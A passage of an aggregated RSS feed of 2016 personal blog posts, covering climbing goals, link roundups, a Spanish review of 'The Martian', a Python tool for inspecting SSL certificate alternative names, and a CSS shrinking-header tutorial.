href="https://github.com/kepano/40-questions/blob/master/translations/es/year.md"&gt;Spanish&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/sv/year.md"&gt;Swedish&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/ta/year.md"&gt;Tamil&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/th/year.md"&gt;Thai&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/tr/year.md"&gt;Turkish&lt;/a&gt;, &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/uk/year.md"&gt;Ukrainian&lt;/a&gt;, and &lt;a href="https://github.com/kepano/40-questions/blob/master/translations/vi/year.md"&gt;Vietnamese&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This list was inspired by a set of questions posted &lt;a href="http://ask.metafilter.com/254216/What-are-your-tools-and-rituals-for-reflecting-on-the-past-year"&gt;by coppermoss on Metafilter&lt;/a&gt;.&lt;/p&gt;</description><author>Steph Ango</author><pubDate>Thu, 20 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://stephango.com/40-questions</guid></item><item><title>October 2016 Goals</title><link>https://josh.works/monthly%20evaluation/2016/10/19/october-2016-goals/</link><description>&lt;p&gt;In the last year, I’ve fluctuated between writing 
every day for 30 days and 
not posting once in two months.&lt;/p&gt;

&lt;p&gt;Frankly, neither of those is good for me.&lt;/p&gt;

&lt;p&gt;I like writing because it clarifies my own thoughts. Sometimes it seems useful to others. I like to be useful (“utility” can often correspond with “market value”, which sometimes corresponds with $$$) and I like to think clearly.&lt;/p&gt;

&lt;h1 id="projects"&gt;Projects&lt;/h1&gt;

&lt;p&gt;I’ve got three open projects right now:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Learn back-end web development.&lt;/strong&gt;
 (ew. a huge and complicated and ill-defined goal)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Launch a three-tiered course/offering about 
how to climb without fear over on 
&lt;a href="http://climbersguide.co/"&gt;climbersguide.co&lt;/a&gt;.&lt;/strong&gt;
 (Much less complicated, much more defined, than #1)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Climb 5.13.&lt;/strong&gt;
 This has been a goal for ages. {excuse1} {excuse 2} {excuse 3}. With those excuses out of the way, 5.13 is a meaningful grade to me. Mostly, it’s quite hard climbing. 5.13 is not hard to 
really really good rock climbers, but at least it gets a shrug from them, so it’s good enough for me. (Simplest and best defined of all goals.)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="why-did-i-title-this-thing-october"&gt;Why did I title this thing “October”?&lt;/h2&gt;

&lt;p&gt;I can have one meaningful goal in each of these projects, and spend the rest of the month working on it. At the end of the month, I can post an update, and then sketch out the next month of work.&lt;/p&gt;

&lt;p&gt;This cadence might be that sweet spot of “writing for clarity and understanding” without tipping into “writing for the sake of writing”.&lt;/p&gt;

&lt;p&gt;To that end, here’s my stab at what might be progress for the rest of the month in each domain:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Programming&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’ll finish Hartle’s 
&lt;a href="https://www.railstutorial.org"&gt;Rails Tutorial&lt;/a&gt;, and move on to another walk-through of a specific app. 
&lt;a href="http://www.urbandictionary.com/define.php?term=tbh"&gt;TBH&lt;/a&gt;, I don’t feel like I’ve learned too much from the tutorial, because so much of what I’m doing is going way over my head.&lt;/p&gt;

&lt;p&gt;I’m punching in code in the right places, and making the tests turn green, but I’ve got a ways to go for really understanding what I’m doing.&lt;/p&gt;

&lt;p&gt;Fortunately, this is a solvable problem, so it doesn’t concern me at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Climber’s Guide course&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Oh man. Do you want to undertake a project that makes you question your value as a person, everyone’s assessment of you, and make you wonder if you’re a terrible person?&lt;/p&gt;

&lt;p&gt;Great. Launch a course that you will try to get people to pay you a lot of money for.&lt;/p&gt;

&lt;p&gt;More real-talk: The price-points I’m aiming for are roughly:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;$50 - Basic&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;$150 - Middle&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;$300 - Premium&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s right. {scream emoji}. This is 
a lot of money. I’m going to ask people to pay me it.&lt;/p&gt;

&lt;p&gt;Part of the pricing is because that’s what the product + offerings is worth. Part of it is the anchoring effect.&lt;/p&gt;

&lt;p&gt;Quick - is $50 a lot of money? You’ll probably say “no” because you just read the price of $300. So, $50 is cheap. What if I said I was offering a course for $10, $25, and $50? Now you’d say $50 is expensive. Probably.&lt;/p&gt;

&lt;p&gt;The scary thing is… I think it’ll be worth it. But again, there’s that thorny problem of “value, self-esteem, confidence” raising it’s ugly head.&lt;/p&gt;

&lt;p&gt;So, next step?&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Record a bunch of videos talking people through the program, step by step.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Send more regular emails to everyone that’s on the list. I’ve got about 250 email subscribers that I’ve not emailed in a few months. Oops.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Furiously google’s “Reengagement campaign”. Fortunately, I work at a company that 
&lt;a href="https://litmus.com/blog/3-steps-to-successful-subscriber-reengagement"&gt;knows how to handle this sort of situation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(I’d like to “launch” this course to a list of at least 500. I’ve got other projects in the pipe for that…)&lt;/p&gt;

&lt;p&gt;I already have most of the videos done (the videos of the actual climbing.) What I’m missing is the “Josh talks into a camera and explains what’s going on”.&lt;/p&gt;

&lt;p&gt;I need to annotate the videos, make it 
extremely clear whatever it is I’m trying to teach.&lt;/p&gt;

&lt;p&gt;It’ll so be worth the money. I can help the right person climb 2-3 grades harder almost overnight. That same person will spend $300 on a new rope and $150 on cool climbing shoes that will help them climb (maybe) one grade harder.&lt;/p&gt;

&lt;p&gt;It’s still sticky and uncomfortable. But that means it’s good for me, right?&lt;/p&gt;

&lt;p&gt;Right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Climbing 5.13&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There’s a nice book written about 
&lt;a href="https://www.amazon.com/dp/B006YOJMSC/ref=dp-kindle-redirect?_encoding=UTF8&amp;amp;btkr=1"&gt;how to climb 5.12&lt;/a&gt;. (I just noticed the cover image is from 
Jesus Wept, 5.12d, Red River Gorge. Fantastic climb, though those two-finger pockets are challenging.)&lt;/p&gt;

&lt;p&gt;Climbing 5.12 is 
&lt;a href="http://www.climbing.com/skills/your-goal-climb-512a/"&gt;most likely within the genetic potential of almost every person alive today&lt;/a&gt;. That doesn’t make it 
easy, it just means “your genes will not make it impossible for you to climb 5.12 with enough time, training, and at the right BMI”&lt;/p&gt;

&lt;p&gt;5.13 is four grades harder than 5.12, which is… generally considered hard. I’ve had mixed success with 5.12. I’ve 
&lt;a href="http://eveningsends.com/onsight-climbing-tips-sport-climbers/"&gt;onsighted&lt;/a&gt; up to 5.12b, and projected… maybe a few 5.12cs. This is a pretty bad “spread” between the onsight grade and project grade.&lt;/p&gt;

&lt;p&gt;Traditionally, you should be projecting about four grades harder than you can onsight. I project one grade harder than I onsight. (Oh, you thought 5.14 was a reasonable goal? 
&lt;a href="http://eveningsends.com/how-to-climb-5-14-the-simple-way/"&gt;hah&lt;/a&gt;.)&lt;/p&gt;

&lt;p&gt;Why is this? Am I 
really really good at onsighting? Not at all. I am 
comically bad at remembering my beta. (“Beta” is just the sequence of hand and foot movements that you use to move through sections of a climb)&lt;/p&gt;

&lt;p&gt;Generally, the first time you get on a climb, you’re going to make some mistakes, as well as learn more efficient ways to climb. (“The 2nd left-hand crimp is terrible. Bump to the more incut hold, and then highstep your right foot to a hand-foot match on the right”)&lt;/p&gt;

&lt;p&gt;I cannot remember this stuff at all. If I do the same climb three times in a row, I’ll have probably climbed it three different ways. I’m basically re-onsighting climbs, over and over and over.&lt;/p&gt;

&lt;p&gt;So, if I want to climb better/harder, the obvious next step is remember my beta.&lt;/p&gt;

&lt;p&gt;I feel like this might be related to my generally horrific ability to visualize things in general. I’ve noticed when I read books with vivid landscape depictions, I gain 
nothing from reading them, because my “minds eye” doesn’t do anything.&lt;/p&gt;

&lt;p&gt;I just read books for content, plot advancement, etc. I’m bad at visualizing faces (I’m bad with names, too), and when I look hard enough, I find evidence of a severely under-trained “minds eye”.&lt;/p&gt;

&lt;p&gt;google’s “how to train your mind’s eye” Wow. That got weird quick. Nevermind.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So, next steps for climbing training?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I’m going to start writing out a “sequence log” of the difficult parts of routes/boulder problems, and see if I can follow my intended sequences over time.&lt;/p&gt;

&lt;h2 id="additional-reading"&gt;Additional reading:&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;This guy wrote 
&lt;a href="http://brayackmedia.blogspot.com/2015/08/what-it-takes-for-me-to-climb-513.html"&gt;how/why he climbes 5.13&lt;/a&gt;, and he’s a local to the New River Gorge, which is near and dear to my heart. Beautiful pictures, too.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://eveningsends.com/onsight-climbing-tips-sport-climbers/"&gt;Onsight Climbing Tips for Sport Climbers&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://rockclimberstrainingmanual.com/rock-climbing-performance/on-sight/"&gt;Anderson Brother’s on On-sight climbing&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;There’s a TON written about climbing 5.12. Comparatively little about climbing 5.13. (Or so goes my first impression from the Googles.)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://fortheloveofclimbing.com/2016/09/13/a-reason-a-season-a-lifetime/"&gt;A nice climbing blog I stumbled across&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PS SquareSpace’s Markdown content block doesn’t work with real markdown. :( They don’t recognize # H1, ## H2, etc. Sigh.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 19 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/monthly%20evaluation/2016/10/19/october-2016-goals/</guid></item><item><title>Links - October 19th, 2016</title><link>https://faingezicht.com/links/2016/10/19/links/</link><description>As my friend Leo &lt;a href="https://leocarvajal.wordpress.com/2016/10/16/pico-blanco/"&gt;would say&lt;/a&gt;, my lack of link-posting has been circumstantial, not intentional.

Last week found me busy, and uninspired. The weekend, on the other hand, gave me a lot to think about. I listened to the audio-book version of Ta-Nehisi Coates' &lt;a href="https://en.wikipedia.org/wiki/Between_the_World_and_Me"&gt;Between the World and Me&lt;/a&gt;, and watched &lt;a href="http://www.imdb.com/title/tt5895028/"&gt;13th&lt;/a&gt;, both of which I would highly recommend. I also attended a few &lt;a href="http://www.litquake.org/"&gt;LitQuake&lt;/a&gt; events, one of which was &lt;a href="https://litcrawlsanfrancisco2016.sched.org/event/7zhW/the-beat-within-presents-young-voices-behind-bars"&gt;especially worthwhile&lt;/a&gt;.

For a while now, I have been saying that I want to write more, and this weekend gave me even more ideas, as it put a lot of things in perspective. The goal for the upcoming weeks is to put my thoughts down on paper.

Also, I read &lt;a href="http://www.theatlantic.com/politics/archive/2016/09/mormons/498506/"&gt;a&lt;/a&gt; &lt;a href="http://qz.com/805918/why-donald-trumps-access-hollywood-tape-was-the-last-straw-for-paul-ryan-and-the-gop/"&gt;bunch&lt;/a&gt; &lt;a href="http://www.nytimes.com/2016/10/14/us/politics/trump-election-rigging.html"&gt;of&lt;/a&gt; &lt;a href="http://www.nytimes.com/2016/10/12/upshot/actually-many-inner-cities-are-doing-great.html"&gt;interesting&lt;/a&gt; &lt;a href="https://www.project-syndicate.org/commentary/trump-candidacy-message-to-political-leaders-by-joseph-e--stiglitz-2016-10"&gt;things&lt;/a&gt; &lt;a href="http://www.newyorker.com/business/currency/does-trumps-rise-mean-liberalisms-end"&gt;about&lt;/a&gt; &lt;a href="http://www.nytimes.com/2016/10/16/opinion/sunday/if-hillary-clinton-groped-men.html"&gt;the&lt;/a&gt; &lt;a href="http://waitbutwhy.com/2016/10/second-presidential-debate.html"&gt;election&lt;/a&gt;, but you're probably tired of that. I am too.

In the mean time, here are links worth reading.</description><author>Avy Faingezicht</author><pubDate>Wed, 19 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/10/19/links/</guid></item><item><title>Space Computing 🚀 and Orbit Native Applications</title><link>https://justingarrison.com/blog/2016-10-19-space-computing/</link><description>Forgive the analogies, I read Breaking the Chains of Gravity</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 19 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-10-19-space-computing/</guid></item><item><title>Питерские дворики</title><link>https://rybakov.com/blog/dvoriki/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dvoriki1" loop="true" poster="/video/dvoriki1/dvoriki1.jpg"&gt;
      &lt;source src="../video/dvoriki1/dvoriki1.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dvoriki1buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dvoriki1paused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Ходил я по дворам; дворы дрожали.&lt;/p&gt;
&lt;p&gt;&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dvoriki2" loop="true" poster="/video/dvoriki2/dvoriki2.jpg"&gt;
      &lt;source src="../video/dvoriki2/dvoriki2.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dvoriki2buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dvoriki2paused"&gt;&lt;/div&gt;
&lt;/div&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dvoriki3" loop="true" poster="/video/dvoriki3/dvoriki3.jpg"&gt;
      &lt;source src="../video/dvoriki3/dvoriki3.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dvoriki3buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dvoriki3paused"&gt;&lt;/div&gt;
&lt;/div&gt;
  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;!-- &lt;div class="video-wrapper" style="position: relative;"&gt;
  &lt;video id ="projects/dvoriki4.mp4" controls class="looped  " loop="true" poster="/video/projects/dvoriki4.mp4/projects/dvoriki4.mp4.jpg" ZgotmplZ&gt;
      &lt;source src="../video/projects/dvoriki4.mp4/projects/dvoriki4.mp4.mp4" type="video/mp4"&gt;
  &lt;/video&gt;
  &lt;div id="projects/dvoriki4.mp4buffering" class="videobuffering"&gt;&lt;/div&gt;
  &lt;div id="projects/dvoriki4.mp4paused" class="videopaused"&gt;&lt;/div&gt;
&lt;/div&gt;
 &lt;br&gt;&lt;br&gt;&lt;br&gt; --&gt; 
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="dvoriki5" loop="true" poster="/video/dvoriki5/dvoriki5.jpg"&gt;
      &lt;source src="../video/dvoriki5/dvoriki5.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="dvoriki5buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="dvoriki5paused"&gt;&lt;/div&gt;
&lt;/div&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Tue, 18 Oct 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/dvoriki/</guid></item><item><title>Randy J. Hunt: VP of Design at Etsy</title><link>https://solomon.io/randy-j-hunt-vp-of-design-at-etsy/</link><description>Randy J. Hunt Randy J. Hunt is the Vice President of Design at Etsy and author or Product Design for the web.</description><author>Sam Solomon</author><pubDate>Tue, 18 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/randy-j-hunt-vp-of-design-at-etsy/</guid></item><item><title>2016-10-18</title><link>https://ho.dges.online/pictures/2016-10-18/</link><description/><author>ho.dges.online</author><pubDate>Tue, 18 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2016-10-18/</guid></item><item><title>Yac Roadmap</title><link>https://prashamhtrivedi.in/yac-roadmap.html</link><description>Thanks to your support and interest, YAC is constantly evolving. I have laid plans in this post about what I am going to do around which milestones.</description><author>Prasham H Trivedi</author><pubDate>Tue, 18 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/yac-roadmap.html</guid></item><item><title>Sanpai – Inspect Subject Alternative Names on SSL Certificates</title><link>https://btmiller.com/2016/10/17/sanpai-inspect-subject-alternative-names-on-ssl-certificates.html</link><description>&lt;p&gt;There are &lt;a href="https://thornelabs.net/2014/05/18/openssl-commands-cheat-sheet.html"&gt;plenty of ways&lt;/a&gt; to inspect and work with SSL certificates, but I could not come across anything quick and easy that allows me to visually and programmatically inspect the contents of an SSL certificate’s SANs. Sure, I can bust out a nasty one-liner from the command line, but nothing beats the ease of a quick Python script.&lt;/p&gt;

&lt;p&gt;My Bash one-liner would look something like (which lines up with &lt;a href="http://stackoverflow.com/questions/13127352/checking-alternative-names-for-a-san-ssl-cert"&gt;what a few folks Stack Overflow came up with&lt;/a&gt;):&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ openssl x509 -in cert.pem -text | grep "DNS" | tr ',' '\n' | sed 's/DNS://'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and while that totally works, it lacks convenience. If you’re having to update your SANs regularly, it can be helpful to get a quick diff on the before/after change; ultimately, my laziness will always win out. So here’s Sanpai:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ sanpai cert.pem
www.btmiller.com
subdomain.btmiller.com
*.btmiller.com
wewlad.btmiller.net
jeff.lebowski.dude
...
subdomain2.btmiller.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The whole set of OpenSSL command line tools is great, but it’s just a little to unwiedly for my taste in a pinch. As mentioned earlier, when you’re updating your SANs regularly and want to validate the added/removed domains, add the second file to compare against with &lt;code class="language-plaintext highlighter-rouge"&gt;--diff&lt;/code&gt;. Example, confirm that &lt;code class="language-plaintext highlighter-rouge"&gt;jeff.lebowski.dude&lt;/code&gt; from the previous output is removed:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;$ sanpai cert-old.pem --diff cert-new.pem
! www.btmiller.com
! subdomain.btmiller.com
! *.btmiller.com
! wewlad.btmiller.net
- jeff.lebowski.dude
  ...
! subdomain2.btmiller.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Behind-the-scenes, Sanpai uses the awesome Python Cryptography package.&lt;/p&gt;</description><author/><pubDate>Tue, 18 Oct 2016 00:59:00 GMT</pubDate><guid isPermaLink="true">https://btmiller.com/2016/10/17/sanpai-inspect-subject-alternative-names-on-ssl-certificates.html</guid></item><item><title>Pass Time</title><link>https://venam.net/blog/philosophy/2016/10/18/pass-time.html</link><description>Let's start with definitions because the words themselves are not representative of my perspective.  I think there's a clear distinction between words.  We have different words for a reason, they have different meanings.  They might be thought to be synonymous but do have backgrounds, connotations, history, roots, that differ, The generic aspect of what it should mean.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 17 Oct 2016 20:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/philosophy/2016/10/18/pass-time.html</guid></item><item><title>El Marciano</title><link>https://danielpecos.com/2016/10/17/el-marciano/</link><description>&lt;p&gt;&lt;a href="http://www.amazon.es/El-marciano-Andy-Weir-ebook/dp/B00OXYQR38%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3DB00OXYQR38"&gt;&lt;img alt="El Marciano" class="alignleft size-full" height="534" src="https://danielpecos.com/assets/2017/10/El-marciano-1.jpg" width="350" /&gt;&lt;/a&gt;El astronauta de la NASA, ingeniero mecánico y botánico, Mark Watney, es integrante de una tripulación de seis personas de la misión Ares 3, que está destinada en ser la primera en aterrizar y realizar estudios en Marte. Pero una tormenta de arena con vientos que supera a gran escala los pronósticos de la NASA, obligó al equipo espacial a abandonar el Hab (habitáculo donde iban a residir) y a despegar hacia la Hermes (la nave espacial en la que llegaron en órbita).&lt;/p&gt;
&lt;p&gt;Durante el proceso de evacuación, el potente viento marciano desprendió la antena parabólica de radio del Hab, impactando en la integridad física de Mark, ocasionándole una herida en la zona del abdomen y al mismo tiempo fue arrastrado por el viento, lo que generó que se extraviara en Marte.&lt;/p&gt;
&lt;p&gt;Ante este incidente, Lewis, quien es la capitana de la misión, luego de varios intentos de rescatar a Mark toma la decisión de abandonar Marte, pensando que el astronauta había fallecido. Pero para fortuna de Mark, el hierro de la antena y la sangre de la herida, cubren la lesión y sellan el traje, haciendo que el astronauta se mantenga con vida.&lt;/p&gt;
&lt;h3 id="sólo-en-marte"&gt;&lt;strong&gt;Sólo, en Marte&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Así es cómo empieza la aventura de Mark y se genera el desenlace en El Marciano, ya que el astronauta se encuentra solo en este planeta, con alimento para un año -debido a que se queda con el suministro para seis personas- y sin probabilidad de hacer contacto con el planeta Tierra sin la antena de radio.&lt;/p&gt;
&lt;p&gt;Analizando su situación, se percata que su única oportunidad de mantenerse con vida por más tiempo es sobrevivir durante cuatro años, el tiempo que tardará en regresar la misión Ares 4.&lt;/p&gt;
&lt;p&gt;En la Tierra los científicos de la NASA se dan cuenta que Mark continúa vivo, gracias a los satélites que orbitan el planeta Marte, por lo que empiezan a trabajar para intentar auxiliarlo con las pocas opciones que tienen.&lt;/p&gt;
&lt;h3 id="su-lucha-por-sobrevivir"&gt;&lt;strong&gt;Su lucha por sobrevivir&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Mark sigue luchando para seguir con vida, así que contando con su ingenio, sus habilidades y sus conocimientos de botánica, logra encarar obstáculos que parecen insuperables. Además, su sentido del humor se convierte en el motor que le provee fuerza para continuar luchando y aferrándose a la idea de seguir viviendo, por lo que ejecutará un plan maestro para ponerse en contacto con la NASA.&lt;/p&gt;
&lt;h3 id="una-gran-experiencia-literaria"&gt;&lt;strong&gt;Una gran experiencia literaria&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Con un final espectacular, &lt;strong&gt;El Marciano&lt;/strong&gt; es una novela de ciencia ficción escrita por Andy Weir que se ha convertido en un bestseller online, obteniendo una gran cantidad de ventas en plataformas como Amazon.&lt;/p&gt;
&lt;p&gt;La historia forjada en este libro posee un delirio fantástico y una mecánica de suspenso que sorprende al lector, haciendo que éste se adentre en el cosmos y el instinto humano de luchar por la supervivencia. En síntesis, El Marciano hará que tengas una experiencia literaria irrepetible.&lt;/p&gt;
&lt;p&gt;Esta novela ha cautivado a insignes personajes como al astronauta y comandante de la Estación Espacial Internacional, Chris Hadfield, al autor de Ready Player One, Ernest Cline, al famoso escritor estadounidense, Steve Berry, entre otros intelectuales, fanáticos y reconocidos artífices de obras literarias.&lt;/p&gt;
&lt;p&gt;El portal de noticias The Wall Street Journal, ha catalogado a &lt;strong&gt;El Marciano&lt;/strong&gt; como: “La mejor novela de ciencia ficción en años”. ¿Qué esperas? ¡Anímate! Una vez que empieces no pararás de leerla.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Mon, 17 Oct 2016 08:00:05 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/17/el-marciano/</guid></item><item><title>Laos travel bookmark</title><link>https://xenodium.com/laos-travel-bookmark</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=uImN-P4xh1U"&gt;Best Way to Enjoy Luang Prabang&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 16 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/laos-travel-bookmark</guid></item><item><title>Progressive enhancement #1</title><link>https://qubyte.codes/blog/progressive-enhancement-1</link><description>&lt;p&gt;When I first put together the CSS for this blog I avoided a fixed header since
the header felt a bit large, and I didn't want to take up too much space which
could be used for content.&lt;/p&gt;
&lt;p&gt;The solution is a header which shrinks as the reader scrolls down. This gives
back a little space, and maintains access to the navigation bar (which is a
part of the header). To make it look nice, the title animates between the
smaller and larger states using a CSS transition. The CSS looks something like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-css"&gt;&lt;span class="hljs-selector-tag"&gt;h1&lt;/span&gt; {
  &lt;span class="hljs-attribute"&gt;font-size&lt;/span&gt;: &lt;span class="hljs-number"&gt;2rem&lt;/span&gt;;
  &lt;span class="hljs-attribute"&gt;margin&lt;/span&gt;: &lt;span class="hljs-number"&gt;1rem&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
  &lt;span class="hljs-attribute"&gt;transition&lt;/span&gt;: all &lt;span class="hljs-number"&gt;0.3s&lt;/span&gt;;
}

&lt;span class="hljs-selector-class"&gt;.smaller&lt;/span&gt; &lt;span class="hljs-selector-tag"&gt;h1&lt;/span&gt; {
  &lt;span class="hljs-attribute"&gt;font-size&lt;/span&gt;: &lt;span class="hljs-number"&gt;1rem&lt;/span&gt;;
  &lt;span class="hljs-attribute"&gt;margin&lt;/span&gt;: &lt;span class="hljs-number"&gt;0.5rem&lt;/span&gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I'm a novice when it comes to CSS, so let me know if I'm missing a trick!&lt;/p&gt;
&lt;p&gt;The markup for the top header (which has not changed), looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-html"&gt;&lt;span class="hljs-tag"&gt;&amp;lt;&lt;span class="hljs-name"&gt;header&lt;/span&gt; &lt;span class="hljs-attr"&gt;class&lt;/span&gt;=&lt;span class="hljs-string"&gt;&amp;quot;top-header&amp;quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="hljs-tag"&gt;&amp;lt;&lt;span class="hljs-name"&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;...&lt;span class="hljs-tag"&gt;&amp;lt;/&lt;span class="hljs-name"&gt;h1&lt;/span&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="hljs-tag"&gt;&amp;lt;&lt;span class="hljs-name"&gt;nav&lt;/span&gt;&amp;gt;&lt;/span&gt;...&lt;span class="hljs-tag"&gt;&amp;lt;/&lt;span class="hljs-name"&gt;nav&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span class="hljs-tag"&gt;&amp;lt;/&lt;span class="hljs-name"&gt;header&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To trigger the transition, a little JavaScript is needed to detect when a scroll
event occurs. When the page is not scrolled down the header has no additional
classes added. When the page is scrolled a class is added to make the header
&lt;code&gt;h1&lt;/code&gt; text and margin smaller. When the page is scrolled down and then back to
the top, the header &lt;code&gt;h1&lt;/code&gt; text returns to its original size.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; $header = &lt;span class="hljs-variable language_"&gt;document&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;querySelector&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;.top-header&amp;#x27;&lt;/span&gt;);

&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;checkHeaderSmallText&lt;/span&gt;(&lt;span class="hljs-params"&gt;&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (&lt;span class="hljs-variable language_"&gt;window&lt;/span&gt;.&lt;span class="hljs-property"&gt;pageYOffset&lt;/span&gt; &amp;gt; &lt;span class="hljs-number"&gt;0&lt;/span&gt;) {
    $header.&lt;span class="hljs-property"&gt;classList&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;smaller&amp;#x27;&lt;/span&gt;);
  } &lt;span class="hljs-keyword"&gt;else&lt;/span&gt; {
